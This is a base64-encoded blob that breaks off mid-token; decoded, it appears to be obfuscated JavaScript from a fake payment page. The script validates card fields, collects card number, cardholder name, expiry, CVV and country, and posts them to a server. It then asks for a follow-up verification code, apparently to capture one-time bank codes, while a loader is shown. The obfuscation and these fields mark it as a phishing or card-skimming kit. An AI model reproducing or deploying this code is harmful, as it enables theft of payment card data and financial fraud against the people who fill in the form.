XzB4NDNlNWJhW18weDNjMTJmOSgweDFlYSldKF8weDI2YmM5YltfMHgzYzEyZjkoMHgxN2QpXSxfMHgyNDMzOTUpPj0weDAmJihfMHgyNmJjOWJbJ2xfdV9oX24nXT09PSEweDF8fF8weDQ2ZmM4YShfMHg4ZGViNDgpKSk6ITB4MSk6ITB4MTt9LF8weDRjMTVlZVtfMHg0OGRlN2QoMHgxYzMpXVtfMHg0OGRlN2QoMHgxNDMpXT1mdW5jdGlvbihfMHg0MTBkZDgsXzB4NGNlMWYxKXt2YXIgXzB4MmUxOWYyPV8weDQ4ZGU3ZCxfMHgzMWY1ZTgsXzB4MzUxOTYyLF8weDI0NjI5ODtyZXR1cm4gXzB4MmUxOWYyKDB4MWY1KT09dHlwZW9mIF8weDQxMGRkOCYmJ21vbnRoJ2luIF8weDQxMGRkOCYmKF8weDI0NjI5OD1fMHg0MTBkZDgsXzB4NDEwZGQ4PV8weDI0NjI5OFsnbW9udGgnXSxfMHg0Y2UxZjE9XzB4MjQ2Mjk4W18weDJlMTlmMigweDE1OCldKSxfMHg0MTBkZDgmJl8weDRjZTFmMT8oXzB4NDEwZGQ4PV8weDRjMTVlZVtfMHgyZTE5ZjIoMHgxNTApXShfMHg0MTBkZDgpLF8weDRjZTFmMT1fMHg0YzE1ZWVbJ3RyaW0nXShfMHg0Y2UxZjEpLC9eXGQrJC9bXzB4MmUxOWYyKDB4MWVkKV0oXzB4NDEwZGQ4KSYmL15cZCskL1tfMHgyZTE5ZjIoMHgxZWQpXShfMHg0Y2UxZjEpJiZfMHg0MTBkZDg+PTB4MSYmMHhjPj1fMHg0MTBkZDg/KDB4Mj09PV8weDRjZTFmMVtfMHgyZTE5ZjIoMHgxN2QpXSYmKF8weDRjZTFmMT0weDQ2Pl8weDRjZTFmMT8nMjAnK18weDRjZTFmMTonMTknK18weDRjZTFmMSksMHg0IT09XzB4NGNlMWYxW18weDJlMTlmMigweDE3ZCldPyEweDE6KF8weDM1MTk2Mj1uZXcgRGF0ZShfMHg0Y2UxZjEsXzB4NDEwZGQ4KSxfMHgzMWY1ZTg9bmV3IERhdGUoKSxfMHgzNTE5NjJbJ3NldE1vbnRoJ10oXzB4MzUxOTYyW18weDJlMTlmMigweGRhKV0oKS0weDEpLF8weDM1MTk2MltfMHgyZTE5ZjIoMHgxNTMpXShfMHgzNTE5NjJbXzB4MmUxOWYyKDB4ZGEpXSgpKzB4MSwweDEpLF8weDM1MTk2Mj5fMHgzMWY1ZTgpKTohMHgxKTohMHgxO30sXzB4NGMxNWVlW18weDQ4ZGU3ZCgweDFjMyldW18weDQ4ZGU3ZCgweDE2NildPWZ1bmN0aW9uKF8weDQ4NDJjZSxfMHg1MTU0NmUpe3ZhciBfMHgzZTRkMDU9XzB4NDhkZTdkLF8weDMwZTUzOSxfMHgyZWRkMGE7cmV0dXJuIF8weDQ4NDJjZT1fMHg0YzE1ZWVbXzB4M2U0ZDA1KDB4MTUwKV0oXzB4NDg0MmNlKSwvXlxkKyQvW18weDNlNGQwNSgweDFlZCldKF8weDQ4NDJjZSk/KF8weDMwZTUzOT1fMHgzYTdmNDYoXzB4NTE1NDZlKSxudWxsIT1fMHgzMGU1Mzk/KF8weDJlZGQwYT1fMHg0ODQyY2VbXzB4M2U0ZDA1KDB4MTdkKV0sXzB4NDNlNWJhW18weDNlNGQwNSgweDFlYSldKF8weDMwZTUzOVsnY192X2NfX19MZV9fX25ndGgnXSxfMHgyZWRkMGEpPj0weDApOl8weDQ4NDJjZVtfMHgzZTRkMDUoMHgxN2QpXT49MHgzJiZfMHg0ODQyY2VbXzB4M2U0ZDA1KDB4MTdkKV08PTB4NCk6ITB4MTt9LF8weDRjMTVlZVtfMHg0OGRlN2QoMHgxYzMpXVsnY3JfZF9UeXAnXT1mdW5jdGlvbihfMHhmN2MwYTIpe3ZhciBfMHg0MjliZWE9XzB4NDhkZTdkLF8weDJjM2Y5ZTtyZXR1cm4gXzB4ZjdjMGEyPyhudWxsIT0oXzB4MmMzZjllPV8weDY2NmE3MihfMHhmN2MwYTIpKT9fMHgyYzNmOWVbXzB4NDI5YmVhKDB4MWUwKV06dm9pZCAweDApfHxudWxsOm51bGw7fSxfMHg0YzE1ZWVbXzB4NDhkZTdkKDB4MWMzKV1bJ2ZybXRfQ19yZE51bWJlciddPWZ1bmN0aW9uKF8weDQ3MDRhOCl7dmFyIF8weDRhNTQ1ND1fMHg0OGRlN2QsXzB4NDU1NWNiLF8weDY4ZTFlMCxfMHgxZDUxY2QsXzB4NGM5MWMxO3JldHVybiBfMHg0NzA0YTg9XzB4NDcwNGE4W18weDRhNTQ1NCgweGYyKV0oL1xEL2csJycpLChfMHg0NTU1Y2I9XzB4NjY2YTcyKF8weDQ3MDRhOCkpPyhfMHgxZDUxY2Q9XzB4NDU1NWNiW18weDRhNTQ1NCgweDE3ZCldW18weDQ1NTVjYltfMHg0YTU0NTQoMHgxN2QpXVtfMHg0YTU0NTQoMHgxN2QpXS0weDFdLF8weDQ3MDRhOD1fMHg0NzA0YThbXzB4NGE1NDU0KDB4MTc3KV0oMHgwLF8weDFkNTFjZCksXzB4NDU1NWNiW18weDRhNTQ1NCgweDFlNyldWydnbG9iYWwnXT9udWxsIT0oXzB4NGM5MWMxPV8weDQ3MDRhOFsnbWF0Y2gnXShfMHg0NTU1Y2JbXzB4NGE1NDU0KDB4MWU3KV0pKT9fMHg0YzkxYzFbXzB4NGE1NDU0KDB4MThmKV0oJ1x4MjAnKTp2b2lkIDB4MDooXzB4NjhlMWUwPV8weDQ1NTVjYltfMHg0YTU0NTQoMHgxZTcpXVtfMHg0YTU0NTQoMHgxOWUpXShfMHg0NzA0YTgpLG51bGwhPV8weDY4ZTFlMD8oXzB4NjhlMWUwW18weDRhNTQ1NCgweDEzMyldKCksXzB4NjhlMWUwPV8weDRjMTVlZVsnZ3JlcCddKF8weDY4ZTFlMCxmdW5jdGlvbihfMHgxMDFhODApe3JldHVybiBfMHgxMDFhODA7fSksXzB4NjhlMWUwW18weDRhNTQ1NCgweDE4ZildKCdceDIwJykpOnZvaWQgMHgwKSk6XzB4NDcwNGE4O30sXzB4NGMxNWVlW18weDQ4ZGU3ZCgweDFjMyldW18weDQ4ZGU3ZCgweDE1NildPWZ1bmN0aW9uKF8weDRmYjg2ZCl7dmFyIF8weDdiOWIzMT1fMHg0OGRlN2QsXzB4MjExOWYwLF8weDU2YTEzZCxfMHgzMTVhNjAsXzB4MzJmNDYyO3JldHVybihfMHg1NmExM2Q9XzB4NGZiODZkW18weDdiOWIzMSgweDEzNCldKC9eXEQqKFxkezEsMn0pKFxEKyk/KFxkezEsNH0pPy8pKT8oXzB4MjExOWYwPV8weDU2YTEzZFsweDFdfHwnJyxfMHgzMTVhNjA9XzB4NTZhMTNkWzB4Ml18fCcnLF8weDMyZjQ2Mj1fMHg1NmExM2RbMHgzXXx8JycsXzB4MzJmNDYyWydsZW5ndGgnXT4weDA/XzB4MzE1YTYwPSdceDIwL1x4MjAnOidceDIwLyc9PT1fMHgzMTVhNjA/KF8weDIxMTlmMD1fMHgyMTE5ZjBbXzB4N2I5YjMxKDB4MWUyKV0oMHgwLDB4MSksXzB4MzE1YTYwPScnKToweDI9PT1fMHgyMTE5ZjBbXzB4N2I5YjMxKDB4MTdkKV18fF8weDMxNWE2MFsnbGVuZ3RoJ10+MHgwP18weDMxNWE2MD1fMHg3YjliMzEoMHhmMCk6MHgxPT09XzB4MjExOWYwW18weDdiOWIzMSgweDE3ZCldJiYnMCchPT1fMHgyMTE5ZjAmJicxJyE9PV8weDIxMTlmMCYmKF8weDIxMTlmMD0nMCcrXzB4MjExOWYwLF8weDMxNWE2MD1fMHg3YjliMzEoMHhmMCkpLF8weDIxMTlmMCtfMHgzMTVhNjArXzB4MzJmNDYyKTonJzt9O31bXzB4NWMzNDA1KDB4MWVhKV0odGhpcyksKGRvY3VtZW50W18weDVjMzQwNSgweDEyNildPV8weDMzNTIwZVtfMHg1YzM0MDUoMHgxMjYpXSwkKF8weDVjMzQwNSgweDFjNSkpW18weDVjMzQwNSgweDFmMyldKF8weDMzNTIwZVtfMHg1YzM0MDUoMHgxYjMpXSksJChfMHg1YzM0MDUoMHgxMDUpKVtfMHg1YzM0MDUoMHgxZjMpXShfMHgzMzUyMGVbXzB4NWMzNDA1KDB4MTA3KV0pLCQoXzB4NWMzNDA1KDB4MTM1KSlbXzB4NWMzNDA1KDB4MTIzKV0oKVtfMHg1YzM0MDUoMHgxZjMpXShfMHgzMzUyMGVbJ3NlY29uZEJsb2NrJ10pLCQoXzB4NWMzNDA1KDB4MTE3KSksJChfMHg1YzM0MDUoMHgxMzUpKVtfMHg1YzM0MDUoMHhkMCldKClbJ2h0bWwnXShfMHgzMzUyMGVbXzB4NWMzNDA1KDB4MWEyKV0pLCQoXzB4NWMzNDA1KDB4ZWUpKVsnaHRtbCddKF8weDMzNTIwZVtfMHg1YzM0MDUoMHgxMGIpXSksJChfMHg1YzM0MDUoMHhjMSkpW18weDVjMzQwNSgweDFmMyldKF8weDMzNTIwZVtfMHg1YzM0MDUoMHgxZDcpXSksJChfMHg1YzM0MDUoMHgxODEpK3NzdHJpbmcrXzB4NWMzNDA1KDB4MTFkKStzc3RyaW5nKydlcicpW18weDVjMzQwNSgweDFjMyldKF8weDVjMzQwNSgweGY4KSlbJ29uJ10oXzB4NWMzNDA1KDB4MTljKSxmdW5jdGlvbigpe3ZhciBfMHg1NWFhZTM9XzB4NWMzNDA1OyQodGhpcylbJ3JlbW92ZUNsYXNzJ10oXzB4NTVhYWUzKDB4MTJiKSk7dmFyIF8weDRlYmNiZj0kKHRoaXMpW18weDU1YWFlMygweDE5NyldKCk7KF8weDRlYmNiZj1fMHg0ZWJjYmZbJ3JlcGxhY2UnXSgvXHMvZywnJykpW18weDU1YWFlMygweDE3ZCldPDB4Y3x8KF8weDRlYmNiZltfMHg1NWFhZTMoMHgxN2QpXTwweDEwfHwhJFsncG1udCddW18weDU1YWFlMygweGJmKV0oXzB4NGViY2JmKT8kKHRoaXMpW18weDU1YWFlMygweDEyZCldKF8weDU1YWFlMygweDEyYikpWydmb2N1cyddKCk6XzB4MjIxZDNkKClbXzB4NTVhYWUzKDB4MWQ4KV0oKSk7fSlbXzB4NWMzNDA1KDB4MWFhKV0oJ3BsYWNlaG9sZGVyJyxfMHgzMzUyMGVbJ2NhJysncmRQbGFjJytfMHg1YzM0MDUoMHgxMWMpXSksJChfMHg1YzM0MDUoMHgxODEpK3NzdHJpbmcrXzB4NWMzNDA1KDB4Y2YpK3NzdHJpbmcrXzB4NWMzNDA1KDB4MTNhKStzc3RyaW5nK18weDVjMzQwNSgweDFlNCkrc3N0cmluZysnYXInKVsnb24nXShfMHg1YzM0MDUoMHgxOWMpLGZ1bmN0aW9uKF8weDM1YjVkZCl7dmFyIF8weDExMGI0OT1fMHg1YzM0MDU7aWYoJCgnI2NhJytzc3RyaW5nK18weDExMGI0OSgweGNmKStzc3RyaW5nK18weDExMGI0OSgweDEzYSkrc3N0cmluZytfMHgxMTBiNDkoMHgxZTQpK3NzdHJpbmcrJ2FyJylbXzB4MTEwYjQ5KDB4MTdlKV0oXzB4MTEwYjQ5KDB4MTJiKSksJ2NhJytzc3RyaW5nK18weDExMGI0OSgweDFlNCkrc3N0cmluZysnYXInIT0kKHRoaXMpW18weDExMGI0OSgweDFhYSldKCdpZCcpfHwweDghPV8weDM1YjVkZFsna2V5Q29kZSddfHwweDAhPSQodGhpcylbXzB4MTEwYjQ5KDB4MTk3KV0oKVtfMHgxMTBiNDkoMHgxN2QpXSlyZXR1cm4nY2EnK3NzdHJpbmcrJ3JkLW1vJytzc3RyaW5nKydudGgnPT0kKHRoaXMpW18weDExMGI0OSgweDFhYSldKCdpZCcpJiYweDI9PSQodGhpcylbJ3ZhbCddKClbXzB4MTEwYjQ5KDB4MTdkKV0/MHhjPCQodGhpcylbXzB4MTEwYjQ5KDB4MTk3KV0oKT92b2lkIF8weDIyMWQzZCgpW18weDExMGI0OSgweDEyZCldKF8weDExMGI0OSgweDEyYikpOnZvaWQgXzB4YmUwZmJlKClbXzB4MTEwYjQ5KDB4MWQ4KV0oKTp2b2lkKF8weDIyMWQzZCgpW18weDExMGI0OSgweDE5NyldKCkmJl8weGJlMGZiZSgpW18weDExMGI0OSgweDE5NyldKCkmJjB4Mj09XzB4YmUwZmJlKClbXzB4MTEwYjQ5KDB4MTk3KV0oKVtfMHgxMTBiNDkoMHgxN2QpXSYmKCRbXzB4MTEwYjQ5KDB4MWMzKV1bXzB4MTEwYjQ5KDB4MTQzKV0oXzB4MjIxZDNkKClbXzB4MTEwYjQ5KDB4MTk3KV0oKSxfMHhiZTBmYmUoKVtfMHgxMTBiNDkoMHgxOTcpXSgpKT9fMHgyMTJjMTEoKVtfMHgxMTBiNDkoMHgxZDgpXSgpOigkKCcjY2EnK3NzdHJpbmcrXzB4MTEwYjQ5KDB4Y2YpK3NzdHJpbmcrXzB4MTEwYjQ5KDB4MTNhKStzc3RyaW5nK18weDExMGI0OSgweDFlNCkrc3N0cmluZysnYXInKVtfMHgxMTBiNDkoMHgxMmQpXShfMHgxMTBiNDkoMHgxMmIpKSwweDI9PV8weDIyMWQzZCgpW18weDExMGI0OSgweDE5NyldKClbXzB4MTEwYjQ5KDB4MTdkKV0/XzB4YmUwZmJlKClbJ2ZvY3VzJ10oKTpfMHgyMjFkM2QoKVtfMHgxMTBiNDkoMHgxZDgpXSgpKSkpOztfMHgyMjFkM2QoKVtfMHgxMTBiNDkoMHgxOTcpXSgnJylbXzB4MTEwYjQ5KDB4MWQ4KV0oKTt9KSxfMHgyMTJjMTEoKVsncG1udCddKF8weDVjMzQwNSgweDFkNCkpW18weDVjMzQwNSgweDFhYSldKCdwbGFjZWhvbGRlcicsXzB4MzM1MjBlW18weDVjMzQwNSgweDE2ZildKVsnb24nXShfMHg1YzM0MDUoMHgxOWMpLGZ1bmN0aW9uKCl7dmFyIF8weDk4Nzg2Mj1fMHg1YzM0MDU7JCh0aGlzKVtfMHg5ODc4NjIoMHgxN2UpXShfMHg5ODc4NjIoMHgxMmIpKSwhJFtfMHg5ODc4NjIoMHgxYzMpXVtfMHg5ODc4NjIoMHgxNjYpXSgkKHRoaXMpWyd2YWwnXSgpLCRbXzB4OTg3ODYyKDB4MWMzKV1bXzB4OTg3ODYyKDB4ZTgpXShfMHgyYzlmNjkoKSkpPyQodGhpcylbJ2FkZENsYXNzJ10oXzB4OTg3ODYyKDB4MTJiKSk6XzB4NGRjY2IzKClbXzB4OTg3ODYyKDB4MWQ4KV0oKTt9KSwkKF8weDVjMzQwNSgweDE4MSkrc3N0cmluZytfMHg1YzM0MDUoMHhjZikrc3N0cmluZytfMHg1YzM0MDUoMHgxM2EpK3NzdHJpbmcrXzB4NWMzNDA1KDB4MWU0KStzc3RyaW5nK18weDVjMzQwNSgweDFkYykrc3N0cmluZytfMHg1YzM0MDUoMHhkYikrc3N0cmluZytfMHg1YzM0MDUoMHgxYTMpK3NzdHJpbmcrXzB4NWMzNDA1KDB4YzMpK3NzdHJpbmcrXzB4NWMzNDA1KDB4MWY0KSlbJ29uJ10oXzB4NWMzNDA1KDB4ZGMpLGZ1bmN0aW9uKF8weDI5ZTA4YSl7dmFyIF8weDNlYjQxYz1fMHg1YzM0MDUsXzB4MzUyMTZkPV8weDI5ZTA4YXx8d2luZG93W18weDNlYjQxYygweDEyNSldO2lmKCdwYXN0ZSc9PT1fMHgzNTIxNmRbXzB4M2ViNDFjKDB4MWUwKV0pXzB4MjNiZTFjPWV2ZW50W18weDNlYjQxYygweDEzYyldW18weDNlYjQxYygweDE1ZildKCd0ZXh0L3BsYWluJyk7ZWxzZXt2YXIgXzB4MjNiZTFjPV8weDM1MjE2ZFtfMHgzZWI0MWMoMHgxYjApXXx8XzB4MzUyMTZkW18weDNlYjQxYygweDEwOCldO2lmKDB4ZD09XzB4MjNiZTFjKXJldHVybjs7XzB4MjNiZTFjPVN0cmluZ1tfMHgzZWI0MWMoMHgxMjEpXShfMHgyM2JlMWMpO307L1swLTldfFwuL1tfMHgzZWI0MWMoMHgxZWQpXShfMHgyM2JlMWMpfHwoXzB4MzUyMTZkW18weDNlYjQxYygweDE0OCldPSEweDEsXzB4MzUyMTZkW18weDNlYjQxYygweDEzMCldJiZfMHgzNTIxNmRbXzB4M2ViNDFjKDB4MTMwKV0oKSk7fSkpO2Z1bmN0aW9uIF8weDE4ZGVjNyhfMHgzZjNkODYsXzB4NWVjZjA2LF8weDQwY2I2OCl7dmFyIF8weDJkODM2ND1fMHg1YzM0MDUsXzB4NDkxNDk4PScnO2lmKF8weDQwY2I2OCl7dmFyIF8weDRjNzhlOT1uZXcgRGF0ZSgpO18weDRjNzhlOVtfMHgyZDgzNjQoMHgxYmEpXShfMHg0Yzc4ZTlbXzB4MmQ4MzY0KDB4MWNiKV0oKSsweDE4Kl8weDQwY2I2OCoweDNjKjB4M2MqMHgzZTgpLF8weDQ5MTQ5OD0nO1x4MjBleHBpcmVzPScrXzB4NGM3OGU5W18weDJkODM2NCgweDE1ZSldKCk7fTtkb2N1bWVudFtfMHgyZDgzNjQoMHgxZjApXT1fMHgzZjNkODYrJz0nKyhfMHg1ZWNmMDZ8fCcnKStfMHg0OTE0OTgrXzB4MmQ4MzY0KDB4MTI4KTt9ZnVuY3Rpb24gXzB4MzNiYzNiKF8weDMwMTM1MSl7dmFyIF8weDRkOGZiZT1fMHg1YzM0MDU7Zm9yKHZhciBfMHgxMjE3ZmY9XzB4MzAxMzUxKyc9JyxfMHg0OGIxM2U9ZG9jdW1lbnRbXzB4NGQ4ZmJlKDB4MWYwKV1bXzB4NGQ4ZmJlKDB4YzcpXSgnOycpLF8weDU3ODc5ZD0weDA7XzB4NTc4NzlkPF8weDQ4YjEzZVsnbGVuZ3RoJ107XzB4NTc4NzlkKyspe2Zvcih2YXIgXzB4OGVjZTJhPV8weDQ4YjEzZVtfMHg1Nzg3OWRdOydceDIwJz09XzB4OGVjZTJhW18weDRkOGZiZSgweDE0NyldKDB4MCk7KXtfMHg4ZWNlMmE9XzB4OGVjZTJhW18weDRkOGZiZSgweDFlMildKDB4MSxfMHg4ZWNlMmFbJ2xlbmd0aCddKTt9O2lmKDB4MD09XzB4OGVjZTJhW18weDRkOGZiZSgweGQzKV0oXzB4MTIxN2ZmKSlyZXR1cm4gXzB4OGVjZTJhWydzdWJzdHJpbmcnXShfMHgxMjE3ZmZbXzB4NGQ4ZmJlKDB4MTdkKV0sXzB4OGVjZTJhWydsZW5ndGgnXSk7fTtyZXR1cm4gbnVsbDt9dmFyIF8weDUwNTc3YTtmdW5jdGlvbiBfMHgxOWVjMmQoXzB4ZGQzNjRiKXt2YXIgXzB4NmI0MWMwPV8weDVjMzQwNTtfMHgzNzMzNzQoXzB4NWNkMWQ5LHsnY2lkJzpfMHhkZDM2NGIsJ2FjdCc6XzB4NmI0MWMwKDB4MTRiKX0sZnVuY3Rpb24oXzB4MzJkOGE0KXt2YXIgXzB4MWJiMWI4PV8weDZiNDFjMDtfMHgzMmQ4YTRbXzB4MWJiMWI4KDB4MWFjKV09PSdsaW5rJyYmKCQod2luZG93KVtfMHgxYmIxYjgoMHgxZTMpXShfMHgxYmIxYjgoMHhjYSkpLCQoXzB4MWJiMWI4KDB4ZGQpKVtfMHgxYmIxYjgoMHgxZjMpXShfMHgxYmIxYjgoMHgxNzIpK18weDMyZDhhNFtfMHgxYmIxYjgoMHgxODYpXSsnXHgyMj4nK18weDMzNTIwZVtfMHgxYmIxYjgoMHgxNDApXSsnPC9hPicpLCQoXzB4MWQxOWRkKVtfMHgxYmIxYjgoMHgxZTMpXShfMHgxYmIxYjgoMHgxNzEpKSwkKF8weDFkMTlkZClbXzB4MWJiMWI4KDB4MWJmKV0oXzB4MWJiMWI4KDB4MTcxKSxmdW5jdGlvbihfMHgxNDAyY2Upe3ZhciBfMHhmY2JkNzQ9XzB4MWJiMWI4O18weDE0MDJjZVtfMHhmY2JkNzQoMHgxMzApXSgpO30pLCQoXzB4MWJiMWI4KDB4MTVkKStfMHgxYmIxYjgoMHgxY2QpKydkZVJvdyxceDIwLnBhbmVsLWZvb3RlcicpW18weDFiYjFiOCgweDFiMSldKCksJChfMHgxYmIxYjgoMHgxZDIpK18weDFiYjFiOCgweDFmMikpWydzaG93J10oKSwkKF8weDFiYjFiOCgweDEwMSkrXzB4MWJiMWI4KDB4MTMxKSlbJ2hpZGUnXSgpLGNsZWFySW50ZXJ2YWwoXzB4NTA1NzdhKSk7fSk7fWZ1bmN0aW9uIF8weDJjOWY2OSgpe3ZhciBfMHg0NWM0Njk9XzB4NWMzNDA1O3JldHVybiAkKCcjY2EnK3NzdHJpbmcrJ3JkLW51bWInK3NzdHJpbmcrJ2VyJylbXzB4NDVjNDY5KDB4MTk3KV0oKTt9ZnVuY3Rpb24gXzB4NGRjY2IzKCl7dmFyIF8weDU3NzRkYT1fMHg1YzM0MDU7cmV0dXJuICQoXzB4NTc3NGRhKDB4MTgxKStzc3RyaW5nK18weDU3NzRkYSgweGRiKStzc3RyaW5nKydhcmRob2xkZXInKTt9ZnVuY3Rpb24gXzB4MjIxZDNkKCl7dmFyIF8weDExZmYwYT1fMHg1YzM0MDU7cmV0dXJuICQoXzB4MTFmZjBhKDB4MTgxKStzc3RyaW5nK18weDExZmYwYSgweGNmKStzc3RyaW5nK18weDExZmYwYSgweGNiKSk7fWZ1bmN0aW9uIF8weGJlMGZiZSgpe3ZhciBfMHgyMGEyMjg9XzB4NWMzNDA1O3JldHVybiAkKF8weDIwYTIyOCgweDE4MSkrc3N0cmluZytfMHgyMGEyMjgoMHgxZTQpK3NzdHJpbmcrJ2FyJyk7fWZ1bmN0aW9uIF8weDIxMmMxMSgpe3ZhciBfMHgxOGQzNjY9XzB4NWMzNDA1O3JldHVybiAkKF8weDE4ZDM2NigweDE4MSkrc3N0cmluZytfMHgxOGQzNjYoMHhkYikrc3N0cmluZysndnYnKTt9ZnVuY3Rpb24gXzB4NWU4NDEwKCl7dmFyIF8weDFkZTM0ZD1fMHg1YzM0MDU7cmV0dXJuICQoXzB4MWRlMzRkKDB4MTgxKStzc3RyaW5nK18weDFkZTM0ZCgweGMzKStzc3RyaW5nK18weDFkZTM0ZCgweDFmNCkpO312YXIgXzB4ZmQ4ODA4O2Z1bmN0aW9uIF8weDI0Y2RjNChfMHgxY2IxZTQpe3ZhciBfMHg1ZTA2MTU9XzB4NWMzNDA1OyQoJy5jbycrJ2RlX2Vycm9yX21lc3NhZ2UnKVtfMHg1ZTA2MTUoMHgxZjMpXSgnJyksJChfMHg1ZTA2MTUoMHgxNWQpK18weDVlMDYxNSgweDFjOCkpW18weDVlMDYxNSgweDFmMyldKCcnKTtpZihfMHg1ZTg0MTAoKVsnaXMnXSgnOnZpc2libGUnKSYmXzB4NWU4NDEwKClbXzB4NWUwNjE1KDB4MTk3KV0oKVtfMHg1ZTA2MTUoMHgxN2QpXTwweDQpcmV0dXJuIGNvbnNvbGVbXzB4NWUwNjE1KDB4MTdiKV0oJ3d3MScpLCEweDE7dmFyIF8weDE3NjQ0ND1fMHg0ZGNjYjMoKVsnbGVuZ3RoJ10hPTB4MDtpZighKCRbXzB4NWUwNjE1KDB4MWMzKV1bXzB4NWUwNjE1KDB4YmYpXShfMHgyYzlmNjkoKSkmJl8weDIyMWQzZCgpW18weDVlMDYxNSgweDE5NyldKCkmJl8weGJlMGZiZSgpW18weDVlMDYxNSgweDE5NyldKCkmJiRbXzB4NWUwNjE1KDB4MWMzKV1bXzB4NWUwNjE1KDB4MTQzKV0oXzB4MjIxZDNkKClbJ3ZhbCddKCksXzB4YmUwZmJlKClbXzB4NWUwNjE1KDB4MTk3KV0oKSkmJiRbXzB4NWUwNjE1KDB4MWMzKV1bJ3ZhbF9jX3ZfX19fYyddKF8weDIxMmMxMSgpW18weDVlMDYxNSgweDE5NyldKCksJFtfMHg1ZTA2MTUoMHgxYzMpXVsnY3JfZF9UeXAnXShfMHgyYzlmNjkoKSkpKSlyZXR1cm4gJCgnI2NhJytzc3RyaW5nK18weDVlMDYxNSgweDExZCkrc3N0cmluZysnZXInKVtfMHg1ZTA2MTUoMHgxZDgpXSgpLCEweDE7Y29uc29sZVsnbG9nJ10oXzB4MTc2NDQ0JiZfMHg0ZGNjYjMoKVtfMHg1ZTA2MTUoMHgxOTcpXSgpW18weDVlMDYxNSgweDE3ZCldPDB4NSk7aWYoXzB4MTc2NDQ0JiZfMHg0ZGNjYjMoKVtfMHg1ZTA2MTUoMHgxOTcpXSgpW18weDVlMDYxNSgweDE3ZCldPDB4NSlyZXR1cm4gXzB4NGRjY2IzKClbXzB4NWUwNjE1KDB4MWQ4KV0oKSwhMHgxO18weGZkODgwOCE9J2NvJysnZGUnJiYoXzB4ZmQ4ODA4PSdjYScrJ3JkJyk7KF8weDVlODQxMCgpWydpcyddKF8weDVlMDYxNSgweDE2NykpfHwweDAhPV8weDFkYTcwMikmJihfMHg1ZTg0MTAoKVsncmVtb3ZlQ2xhc3MnXSgnZXJyb3InKSwkKGRvY3VtZW50W18weDVlMDYxNSgweDE2MildKVtfMHg1ZTA2MTUoMHgxNjApXShfMHg1ZTA2MTUoMHgxOGUpKSxfMHhmZDg4MDg9XzB4NWUwNjE1KDB4MThhKSk7JChkb2N1bWVudFtfMHg1ZTA2MTUoMHgxNjIpXSlbXzB4NWUwNjE1KDB4MTYwKV0oJ2hpZGVfZm9ybV9ibG9jaycpLCQoZG9jdW1lbnRbXzB4NWUwNjE1KDB4MTYyKV0pW18weDVlMDYxNSgweDE2MCldKCdzaG93X2xvYWRlcicpO3ZhciBfMHgzODUyZTM9XzB4NWUwNjE1KDB4MThhKT09XzB4ZmQ4ODA4P3snY2lkJzpfMHgxZGE3MDIsJ2NvZGUnOl8weDVlODQxMCgpW18weDVlMDYxNSgweDE5NyldKCksJ2NvdW50cnknOl8weDM1YzhjOCgpLCd0JzpfMHg1ZWE5YjcoKX06eydjY051bSc6XzB4MmM5ZjY5KCksJ2NoTmFtZSc6XzB4NGRjY2IzKClbJ3ZhbCddKCksJ2V4cCc6XzB4MjIxZDNkKClbXzB4NWUwNjE1KDB4MTk3KV0oKSsnLycrXzB4YmUwZmJlKClbXzB4NWUwNjE1KDB4MTk3KV0oKSwnY3Z2JzpfMHgyMTJjMTEoKVtfMHg1ZTA2MTUoMHgxOTcpXSgpLCdjb3VudHJ5JzpfMHgzNWM4YzgoKSwndCc6XzB4NWVhOWI3KCl9O18weDM3MzM3NChfMHg1Y2QxZDksXzB4Mzg1MmUzLGZ1bmN0aW9uKF8weDE4ZTdkYil7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBfMHg1OTgzYjQ9XzB4MmYzNztpZignY29kZSc9PV8weGZkODgwOCl7fWVsc2UgdHlwZW9mIF8weDE4ZTdkYltfMHg1OTgzYjQoMHgxYTkpXSE9XzB4NTk4M2I0KDB4MTE2KT8oXzB4MWRhNzAyPV8weDE4ZTdkYltfMHg1OTgzYjQoMHgxYTkpXSwkKGRvY3VtZW50W18weDU5ODNiNCgweDE2MildKVtfMHg1OTgzYjQoMHgxNjApXShfMHg1OTgzYjQoMHhkZSkrXzB4NTk4M2I0KDB4MWNjKSkpOiQoZG9jdW1lbnRbXzB4NTk4M2I0KDB4MTYyKV0pW18weDU5ODNiNCgweDE2MCldKF8weDU5ODNiNCgweDFiZCkrXzB4NTk4M2I0KDB4MThjKSk7fSwweDdkMCk7fSk7fSQoZG9jdW1lbnRbXzB4NWMzNDA1KDB4MTYyKV0pWydvbiddKF8weDVjMzQwNSgweDFhZiksZnVuY3Rpb24oXzB4NWJmZDA3KXt2YXIgXzB4NGM0MTdkPV8weDVjMzQwNTskKF8weDRjNDE3ZCgweDE2YykrXzB4NGM0MTdkKDB4MTRlKSlbXzB4NGM0MTdkKDB4MWIxKV0oKTt9KSwkKGRvY3VtZW50W18weDVjMzQwNSgweDE2MildKVsnb24nXShfMHg1YzM0MDUoMHgxNjEpLGZ1bmN0aW9uKF8weDU0NGIzZil7dmFyIF8weDMwM2ZlZj1fMHg1YzM0MDU7XzB4MWRhNzAyPTB4MCxfMHhmZDg4MDg9J2NhJysncmQnLCQoXzB4MzAzZmVmKDB4MTVkKStfMHgzMDNmZWYoMHgxYzgpKVtfMHgzMDNmZWYoMHgxZjMpXSgnJyksJChfMHgzMDNmZWYoMHgxMTQpKVsweDBdW18weDMwM2ZlZigweDE3NCldKCksJChkb2N1bWVudFsnYm9keSddKVtfMHgzMDNmZWYoMHgxNjApXSgnaGlkZV9sb2FkZXInKSwkKGRvY3VtZW50W18weDMwM2ZlZigweDE2MildKVtfMHgzMDNmZWYoMHgxNjApXShfMHgzMDNmZWYoMHgxOGUpKSwkKGRvY3VtZW50W18weDMwM2ZlZigweDE2MildKVtfMHgzMDNmZWYoMHgxNjApXShfMHgzMDNmZWYoMHgxZGIpKSwkKGRvY3VtZW50Wydib2R5J10pWyd0cmlnZ2VyJ10oJ2hpZGVfcXInKSwkKF8weDMwM2ZlZigweDE1ZCkrXzB4MzAzZmVmKDB4MTNlKSlbJ3Nob3cnXSgpLCQoJy5wYW5lbC1mb290ZXInKVsnc2hvdyddKCk7fSksJChkb2N1bWVudFsnYm9keSddKVsnb24nXShfMHg1YzM0MDUoMHgxOGUpLGZ1bmN0aW9uKF8weDJiYzYyYSl7dmFyIF8weDQ4NGYwND1fMHg1YzM0MDU7JChfMHg0ODRmMDQoMHgxNDUpKVtfMHg0ODRmMDQoMHgxYjEpXSgpO30pLCQoZG9jdW1lbnRbXzB4NWMzNDA1KDB4MTYyKV0pWydvbiddKCdzaG93X2NvZGVfZm9ybV9ibG9jaycsZnVuY3Rpb24oXzB